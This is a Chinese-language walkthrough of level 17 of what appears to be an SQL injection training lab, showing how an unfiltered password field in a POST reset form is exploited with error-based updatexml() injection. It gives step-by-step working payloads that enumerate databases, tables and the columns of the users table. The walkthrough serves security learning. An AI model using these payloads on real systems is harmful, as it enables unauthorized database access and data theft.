第十七关请求方式为POST请求 , 注入点为 单引号字符型注入 , 注入方式为 报错注入
第一步,判断注入类型
先看源码
用户名会过滤特殊字符 , 但密码没有过滤 , 但需要用户名正确才能执行修改密码的SQL
输入正确的用户名,密码处输入
1' and updatexml(1,'~',3) #
updatexml() , 第2个参数包含特殊符号时,会报错并在错误信息中显示第2个参数的内容
报错信息正常展示 , 固 错误注入
第二步,获取所有数据库
查询information_schema默认数据库的schemata表的schema_name字段 , 该字段保存了所有数据库名字
1' and updatexml(1,concat('~', substr( (select group_concat(schema_name) from information_schema.schemata) ,50,31) ),3) #
下一步,根据security数据库,获取其所有表
第三步,获取所有表
查询information_schema默认数据库的tables表的table_name字段 , 该字段保存了所有表名
1' and updatexml(1,concat('~', substr( (select group_concat(table_name) from information_schema.tables where table_schema='security') ,1,31) ),3) #
users为用户表 , 下一步根据users表 获取其所有字段
第四步,获取所有字段
查询information_schema默认数据库的columns表的column_name字段 , 该字段保存了所有字段名
1' and updatexml(1,concat('~', substr( (select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users') ,1,31) ),3) #